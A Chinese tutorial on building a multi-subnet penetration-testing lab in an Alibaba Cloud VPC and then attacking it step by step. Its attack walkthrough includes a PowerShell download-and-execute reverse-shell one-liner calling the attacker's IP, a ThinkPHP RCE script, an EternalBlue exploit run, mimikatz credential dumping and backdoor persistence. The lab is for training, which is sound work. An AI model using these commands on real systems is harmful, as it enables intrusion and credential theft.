1. 项目概述为什么要在VPC里“折腾”内网渗透如果你和我一样是个对网络安全、红蓝对抗感兴趣或者正在学习安全测试的从业者那你肯定知道“内网渗透”这四个字的分量。它不像打一个公开的Web靶场那么简单真正的内网环境充满了未知的拓扑、隐蔽的服务和层层递进的权限关卡。但问题来了我们总不能拿公司的生产环境或者别人的真实网络来练手吧这既不道德也违法。所以一个安全、可控、又能高度模拟真实内网环境的“沙盒”就成了刚需。这就是我们今天要聊的核心利用云服务商提供的VPCVirtual Private Cloud虚拟私有云环境来搭建一个逼真的内网渗透测试靶场。你可能会问为什么是VPC我本地用VMware搭几台虚拟机不行吗当然可以但那更像是几个孤立的“点”。而VPC天然就是一个“网络”它提供了子网划分、路由表、安全组或ACL、内网互通、公网网关等一整套网络基础设施这和我们真实企业内网的架构逻辑几乎一模一样。在VPC里你可以模拟出办公网、核心业务区、DMZ区甚至模拟不同部门、不同安全级别的网络分区这种“网络感”是本地虚拟机组网很难比拟的。这次我会结合一个非常经典的靶场——“小迪安全”的渗透测试视频教程中涉及的靶机环境来演示如何在VPC中配置和还原它。小迪的教程之所以经典是因为它覆盖了从外网打到内网、横向移动、权限提升的完整链条非常适合作为我们搭建内网靶场的蓝本。通过这个实战你不仅能学会靶场搭建更能深刻理解VPC的各项网络组件是如何协同工作以及它们如何对应到渗透测试中的各种攻击路径和防御边界。2. 环境整体设计与核心思路拆解在动手之前我们必须先想清楚要模拟一个什么样的场景。盲目开机器只会得到一堆散沙。我们的目标是构建一个包含边界突破点、内部横向移动路径和核心目标的多层网络环境。2.1 靶场场景设计我们参考经典内网渗透流程设计一个简化但典型的三层结构DMZ区外网可访问区放置一台存在漏洞的Web服务器。这是攻击者的初始入口点。假设它是一台Windows Server运行着存在漏洞的CMS如ThinkPHP 5.0 RCE。办公区内部网络放置若干台内网机器。例如一台Windows 7或10的客户机可能存有员工的浏览器密码、配置文件等再比如一台Linux服务器运行着内部用的Gitlab、Confluence等应用。核心数据区高安全区放置最终目标例如一台数据库服务器MySQL或文件服务器存放敏感数据。该区域与办公区隔离更严格。在VPC中我们用子网Subnet来实现这三个分区。创建一个VPC比如网段为10.0.0.0/16然后在里面创建三个子网DMZ-subnet:10.0.1.0/24 关联路由表使其可以访问互联网用于系统更新、攻击机连接。Office-subnet:10.0.2.0/24 默认路由指向VPC内部无法直接出公网。Data-subnet:10.0.3.0/24 路由策略更严格只允许来自办公区特定端口的访问。2.2 工具与云平台选型云平台选择国内外主流云平台如阿里云、腾讯云、AWS、Azure等均可其VPC核心概念相通。本文以操作界面相对直观的阿里云为例其他平台可举一反三。选择它是因为其控制台对网络组件的可视化做得比较好适合初学者理解。攻击机我们不需要放在VPC内部。攻击机就是我们自己的本地物理机或者一台拥有公网IP的独立云主机。我们将从外部向DMZ区的靶机发起攻击。靶机镜像这是节省时间的关键。我们不会从零安装系统再配置漏洞环境那太耗时。我们会使用两种方式预制靶场镜像例如“小迪安全”教程中常使用的 Vulhub、Webug 4.0 等环境的打包镜像。我们需要提前下载好.vhd或.qcow2格式的镜像文件并上传到云平台的自定义镜像中。手动快速搭建对于一些特定漏洞环境我们可以用云市场镜像如纯净版的Windows Server、CentOS快速启动然后运行自动化脚本如Docker Compose一键部署漏洞环境。例如用Docker快速拉起一个ThinkPHP 5.0.23 RCE的环境。注意上传自定义镜像可能需要开通OSS对象存储服务并支付少量的存储费用和流量费用这是云平台搭建靶场前期的主要成本但一次上传可重复使用。2.3 网络访问策略设计安全组/网络ACL这是模拟真实性的关键也是容易出错的地方。我们需要为不同分区的机器配置不同的安全组Security Group一种虚拟防火墙。DMZ区安全组入方向开放80/tcp(HTTP),443/tcp(HTTPS),3389/tcp(Windows RDP用于管理强烈建议将源IP限制为你自己的公网IP。出方向允许所有方便它向外发起连接如下载payload。办公区安全组入方向仅允许来自DMZ-subnet和Office-subnet网段的特定端口如445/tcp,22/tcp,3306/tcp等模拟内网服务互通。出方向允许所有内网机器可能需要访问外网更新但通过NAT网关。核心区安全组入方向仅允许来自Office-subnet网段的3306/tcpMySQL或22/tcpSSH等极其有限的端口。出方向通常禁止所有或仅允许访问特定内部地址。通过这样的设计我们就用VPC和安全组画出了一个有清晰边界、有访问控制逻辑的“虚拟内网”。3. 实战搭建从零构建VPC内网靶场理论清晰后我们开始动手。以下步骤在阿里云控制台进行其他云平台逻辑类似。3.1 第一步创建VPC与子网登录阿里云控制台进入专有网络 VPC管理页面。点击“创建专有网络”。名称PenTest-Lab-VPCIPv4网段填写10.0.0.0/16。这个网段足够大可以容纳我们规划的多个子网。描述可选填写“内网渗透测试靶场”。在创建VPC的页面下方可以直接添加初始的子网。我们在这里一次性创建三个子网1名称DMZ-subnet网段10.0.1.0/24可用区选择一个即可如华东1 可用区I。子网2名称Office-subnet网段10.0.2.0/24可用区同上建议同可用区降低延迟。子网3名称Data-subnet网段10.0.3.0/24可用区同上。点击“确定”VPC和三个子网就创建好了。3.2 第二步配置路由与公网访问默认情况下子网内的机器是无法访问互联网的。我们需要为DMZ区配置一个互联网网关在阿里云叫“NAT网关”或“弹性公网IP路由”为办公区配置一个NAT网关用于出网。为DMZ子网创建并绑定弹性公网IPEIP通常我们不会给靶机直接绑定EIP因为那会完全暴露。更安全的做法是创建一台堡垒机Bastion Host或跳板机放在DMZ区给它绑定EIP。我们通过RDP或SSH连接上堡垒机再从堡垒机去管理其他靶机。但为了简化演示假设我们给DMZ区的Web靶机绑定一个EIP。在弹性公网IP页面申请一个EIP然后将其绑定到即将创建的DMZ区ECS实例上。配置VPC路由表进入VPC详情页找到“路由表”标签。默认会有一个路由表关联了所有子网。我们需要编辑这个路由表确保有一条默认路由0.0.0.0/0指向我们创建的NAT网关为办公区出网准备或互联网网关为DMZ区出网准备。在更复杂的模拟中可以为不同子网关联不同的路由表。对于DMZ区如果靶机绑定了EIP其公网访问由云平台底层自动处理路由表里不需要特殊指向公网的路由条目。3.3 第三步创建安全组创建三个安全组分别对应三个分区。创建SG-DMZ安全组入方向规则协议类型端口范围授权对象说明TCP80/800.0.0.0/0对外提供Web服务TCP443/4430.0.0.0/0HTTPSTCP3389/3389你的公网IP/32严格限制仅允许自己管理ALL-1/-110.0.0.0/16允许所有VPC内网访问出方向规则允许所有。创建SG-Office安全组入方向规则协议类型端口范围授权对象说明TCP22/2210.0.1.0/24允许DMZ区SSH过来TCP445/44510.0.0.0/16内网SMB共享TCP3389/338910.0.1.0/24允许DMZ区RDP过来ALL-1/-110.0.2.0/24办公区内网互访出方向规则允许所有。创建SG-Data安全组入方向规则协议类型端口范围授权对象说明TCP3306/330610.0.2.0/24仅办公区可访问MySQLTCP22/2210.0.2.0/24仅办公区可SSH管理出方向规则拒绝所有。3.4 第四步创建并配置靶机实例以小迪靶场为例这是核心环节。我们假设要还原小迪教程中“从Web漏洞到内网横向”的经典场景。场景还原DMZ区有一台存在ThinkPHP RCE漏洞的Windows服务器通过它渗透进入内网发现一台办公区的Windows 7主机存在MS17-010永恒之蓝漏洞进一步横向发现核心区有一台MySQL数据库。机器1DMZ区 - 漏洞Web服务器 (Windows)在ECS控制台点击“创建实例”。基础配置付费模式按量付费测试完立即释放最经济。地域/可用区选择你创建VPC的地域和可用区。实例规格选择最基础的规格如ecs.g6.large2vCPU 4GiBWindows系统需要一定内存。镜像选择“自定义镜像”找到你提前上传好的包含ThinkPHP漏洞环境的Windows镜像。如果没有可以选择“镜像市场”搜索“Windows Server”选择纯净版然后手动部署漏洞环境后续步骤会讲。网络与安全组网络选择我们创建的PenTest-Lab-VPC。交换机选择DMZ-subnet。安全组选择SG-DMZ。公网IP分配一个或者选择“暂不分配”后面将已申请的EIP绑定到此实例。系统配置设置登录密码牢记实例名称设为DMZ-WebServer。创建完成。记录下它的内网IP如10.0.1.10和公网IP。机器2办公区 - 内网Windows 7主机同样流程创建第二台实例。镜像选择自定义镜像中的Windows 7漏洞镜像需提前准备可在某些安全社区找到已集成MS17-010的Win7镜像。重要Windows 7已停止支持仅用于测试环境。网络VPC选择PenTest-Lab-VPC交换机选择Office-subnet。安全组选择SG-Office。不分配公网IP。实例名称设为Office-Win7。记录内网IP如10.0.2.20。机器3核心区 - MySQL数据库服务器 (Linux)创建第三台实例。镜像选择公共镜像如CentOS 7.9。网络VPC选择PenTest-Lab-VPC交换机选择Data-subnet。安全组选择SG-Data。不分配公网IP。实例名称设为Data-MySQL。记录内网IP如10.0.3.30。3.5 第五步初始化与漏洞环境部署如果使用了预制漏洞镜像部分环境可能已就绪。如果使用的是纯净版镜像则需要手动部署。对于DMZ-WebServer假设是纯净Windows通过RDP使用公网IP:3389源IP需在白名单内登录。安装Web服务器如PHPStudy它集成了Apache、PHP、MySQL。部署存在漏洞的ThinkPHP 5.0.23应用。下载ThinkPHP 5.0.23完整版。解压到PHPStudy的www目录下。访问http://公网IP/index.php看到欢迎页即表示成功。ThinkPHP 5.0.23的RCE漏洞利用方式已知此处不展开我们只需要环境存在即可。对于Data-MySQLCentOS由于没有公网IP我们需要通过堡垒机或云控制台的VNC登录。这里演示通过之前DMZ区的Web服务器已绑定EIP作为跳板。在DMZ-WebServer上启用“远程桌面网关”功能或安装SSH客户端如PuTTY通过它SSH到Data-MySQL的内网IP (10.0.3.30)。登录后安装MySQL# 安装MySQL仓库 sudo rpm -Uvh https://dev.mysql.com/get/mysql80-community-release-el7-7.noarch.rpm # 安装MySQL服务器 sudo yum install -y mysql-community-server # 启动并设置开机自启 sudo systemctl start mysqld sudo systemctl enable mysqld # 查看初始密码 sudo grep temporary password /var/log/mysqld.log # 运行安全脚本修改root密码并禁止远程root登录测试环境可允许 sudo mysql_secure_installation创建一个测试数据库和用户模拟敏感数据CREATE DATABASE sensitive_data; USE sensitive_data; CREATE TABLE users (id INT, username VARCHAR(255), password VARCHAR(255)); INSERT INTO users VALUES (1, admin, supersecretpassword123); CREATE USER internal_app10.0.2.% IDENTIFIED BY WeakPass!; -- 允许办公网段访问 GRANT SELECT ON sensitive_data.* TO internal_app10.0.2.%; FLUSH PRIVILEGES;至此一个包含三层结构、具备基本漏洞环境和访问控制的内网靶场就在VPC中搭建完毕了。4. 内网渗透测试核心流程实战演练环境有了现在我们模拟攻击者视角从外网开始一步步打穿这个内网。4.1 阶段一外网突破拿下DMZ区Web服务器信息收集使用浏览器或nmap扫描DMZ服务器的公网IP发现开放了80端口。nmap -sV -p 80,443,3389 DMZ公网IP漏洞利用访问http://DMZ公网IP/index.php确认是ThinkPHP 5.0.23。使用公开的RCE漏洞利用工具或脚本例如tp5_rce.py执行命令。python3 tp5_rce.py -u http://DMZ公网IP/index.php -c whoami获取Webshell利用漏洞写入一句话木马或直接通过RCE反弹一个Shell到我们的攻击机。# 在攻击机上监听 nc -lvnp 4444 # 通过漏洞执行反弹命令需对命令进行编码 python3 tp5_rce.py -u http://DMZ公网IP/index.php -c powershell -c IEX(New-Object Net.WebClient).DownloadString(http://你的攻击机IP/ps.ps1); ReverseShell -IP 你的攻击机IP -Port 4444权限提升与持久化拿到一个www-data或iis apppool等低权限Shell后尝试本地提权如利用Windows内核漏洞、服务配置不当等。添加后门账户或计划任务进行持久化。4.2 阶段二内网信息收集与横向移动拿下DMZ服务器后它就成了我们进入内网的“桥头堡”。内网探测在DMZ服务器上执行内网扫描。# Windows下使用内置命令或上传nmap for windows ipconfig /all # 查看自身IP、网关、DNS确认在10.0.1.0/24网段 arp -a # 查看ARP缓存发现同一网段其他主机可能不多 # 上传nmap扫描办公网段 nmap -sn 10.0.2.0/24 # 发现存活主机如10.0.2.20 nmap -sS -sV -p 135,139,445,3389 10.0.2.20 # 详细扫描漏洞利用与横向发现10.0.2.20Office-Win7开放了445端口。尝试利用MS17-010漏洞。在DMZ服务器上上传ms17-010 exploit工具如eternalblue。由于DMZ和办公区网络互通我们可以直接攻击。# 假设使用python版的exploit python eternalblue.py 10.0.2.20获取办公区主机权限利用成功后会获得一个System权限的Shell。在此机器上抓取密码哈希使用mimikatz查看网络共享继续收集信息。4.3 阶段三向核心区渗透在办公区主机上我们继续探测。二次信息收集net view /domain # 查看域如果是域环境 net view \\10.0.3.30 # 尝试查看核心服务器共享可能失败 nbtstat -A 10.0.3.30 # 查看NetBIOS信息 nmap -p 3306 10.0.3.30 # 扫描核心服务器端口发现3306开放数据库攻击发现MySQL服务。尝试用之前信息收集阶段可能找到的数据库密码例如从Web配置文件、员工机器上的连接字符串中获取进行连接。假设我们猜解或找到了密码WeakPass!。# 在办公区主机上连接数据库 mysql -h 10.0.3.30 -u internal_app -pWeakPass! # 连接成功后查询敏感数据 USE sensitive_data; SELECT * FROM users;权限提升与数据窃取如果数据库存在SQL注入或配置问题可能尝试提权如利用UDF提权或直接导出数据。至此我们模拟完成了从外网到核心数据区的完整渗透路径。5. 靶场配置的深度优化与高级技巧基础环境搭建和流程走通只是第一步。要让这个靶场更有训练价值更贴近实战还需要做一些优化。5.1 模拟更真实的网络拓扑多路由表与路由策略不要所有子网都用默认路由表。可以为Data-subnet单独创建一个路由表其默认路由指向一个虚拟防火墙可以用一台开了iptables的Linux实例模拟或者干脆没有默认路由只有一条指向Office-subnet的路由。这样能更真实地模拟核心区隔离。模拟网络设备创建一台Linux实例安装iptables或frrouting软件将其作为“核心交换机”或“防火墙”。将各子网的路由指向这台机器由它来实施更精细的访问控制策略ACL。这能让你练习绕过网络设备审计的技能。混合操作系统环境不要全是Windows或全是Linux。加入不同版本的Windows Server、Windows 10/7不同发行版的LinuxCentOS, Ubuntu, Debian以及可能存在的旧系统如Windows Server 2003, 2008。5.2 漏洞环境的多样性与自动化部署使用Docker Compose这是快速部署复杂漏洞环境的利器。你可以为每个靶机编写一个docker-compose.yml文件里面定义好服务、漏洞应用、网络配置。在实例初始化时只需运行docker-compose up -d整个环境就起来了。例如一键部署一个包含Web漏洞、Redis未授权、SSH弱密码的复合场景。集成漏洞库将Vulhub、Violation、Web安全学习靶场等项目的Docker镜像提前构建成云平台的自定义镜像或者编写自动化脚本从Docker Hub拉取。这样能极大丰富你的训练场景。配置“蜜罐”部署一些看起来有漏洞但实际是监控节点的服务如用Canarytokens、HFish。记录攻击者的行为用于后续分析自己的攻击特征和痕迹清理是否到位。5.3 安全监控与日志分析一个优秀的渗透测试者也需要了解防守方视角。启用云平台日志开启VPC的流日志Flow Log记录所有经过子网网卡的网络流量的元数据源目IP、端口、协议、动作。这能让你在攻击后复盘看到自己的扫描、爆破、漏洞利用流量在日志里是什么样子。在靶机内部署日志收集在Windows靶机上启用并配置PowerShell日志、安全日志4624/4625登录事件、4688进程创建等并集中发送到一台日志服务器如ELK Stack。在Linux靶机上配置auditd规则监控敏感命令和文件访问。部署HIDS在关键靶机如核心数据库上安装轻量级主机入侵检测系统如Wazuh或OSSEC的Agent。体验一下在有一定防护的环境下进行渗透的难度。6. 常见问题、踩坑记录与排查技巧在实际搭建和测试过程中你一定会遇到各种问题。这里记录一些典型的坑和解决办法。6.1 网络连通性问题问题现象可能原因排查步骤攻击机无法访问DMZ靶机公网IP的80端口1. 安全组SG-DMZ未放行80端口。2. 靶机内部防火墙Windows防火墙/iptables未放行。3. Web服务如Apache未启动。1. 检查安全组规则。2. 登录靶机检查netstat -ano | findstr :80Win或ss -tlnp | grep :80Linux。3. 检查服务状态。DMZ靶机无法ping通办公区靶机1. 办公区靶机的安全组SG-Office未允许ICMP协议或来自DMZ网段的访问。2. 系统防火墙禁止了ICMP。1. 检查SG-Office入方向规则添加一条允许ICMP协议源为10.0.1.0/24的规则。2. 临时关闭办公区靶机的系统防火墙测试。办公区靶机无法访问互联网如ping 8.8.8.81. 办公区子网没有配置NAT网关或路由指向不正确。2. 安全组出方向被限制。1. 检查VPC路由表确认办公区子网关联的路由表有指向NAT网关的默认路由0.0.0.0/0-nat-gw-id。2. 检查SG-Office出方向是否为允许所有。通过DMZ跳板机无法SSH到核心区数据库1. 核心区安全组SG-Data未放行来自DMZ或办公区IP的22端口。2. 数据库服务器未安装或启动SSH服务。3. 路由不可达如果核心区子网路由表配置了严格策略。1.这是最常见原因检查SG-Data规则确保源IP是10.0.2.0/24办公区或10.0.1.0/24DMZ如果你想让DMZ也能直接访问。2. 登录数据库服务器检查systemctl status sshd。3. 在数据库服务器上traceroute 10.0.1.10看路径。实操心得VPC环境里十次连接失败有九次是安全组规则没配对。一定要养成“从源到目的逐层检查”的习惯本机防火墙 - 实例安全组 - 子网网络ACL如果有- 路由表 - 对端安全组 - 对端服务状态。6.2 漏洞利用失败问题ThinkPHP RCE失败确保ThinkPHP版本准确且漏洞利用路径正确。有时目标URL不是/index.php可能是/public/index.php。使用dirsearch等工具扫描目录。另外注意命令编码Windows和Linux下的编码方式不同。MS17-010利用失败目标补丁已打这是最可能的原因。确保你的靶机镜像确实是存在漏洞的版本如Windows 7 SP1未打2017年3月后的补丁。防火墙拦截目标445端口可达但防火墙可能拦截了漏洞利用的特定流量。尝试临时关闭目标防火墙。利用工具版本不同的eternalblue利用脚本对系统版本、架构的兼容性不同。多准备几个工具尝试。杀毒软件靶机上如果安装了杀毒软件可能会拦截攻击载荷。在测试环境中可以暂时卸载或禁用。6.3 成本控制与资源清理云资源是按量计费的测试完务必及时清理避免产生不必要的费用。释放弹性公网IPEIPEIP即使不绑定实例只要未释放也会按小时收费。务必在控制台“弹性公网IP”页面找到并释放它。释放ECS实例对于按量付费实例直接“释放”即可。注意释放后数据不可恢复。删除自定义镜像如果不再需要删除上传的自定义镜像可以节省对象存储费用。删除VPC最后确认所有子网内的资源都已清空后可以删除整个VPC。删除VPC会自动删除其下的路由表、网络ACL等资源但不会自动删除安全组需要手动检查并删除。设置自动释放对于计划内的长期测试可以在创建实例时设置“自动释放时间”这样到点后实例会自动删除防止忘记。搭建一个逼真的VPC内网靶场就像为自己搭建了一个专属的、无限复用的网络安全实验室。从网络规划、安全策略配置到漏洞环境部署、渗透路径模拟整个过程本身就是一次绝佳的学习。它强迫你去理解网络协议、访问控制、系统服务和漏洞原理是如何在真实环境中交织作用的。当你成功地从外网一步步摸到核心数据库那种对网络空间结构的掌控感是任何孤立靶机都无法给予的。更重要的是你可以随时推倒重来尝试不同的拓扑、不同的漏洞组合、不同的防御策略反复锤炼你的“战术”。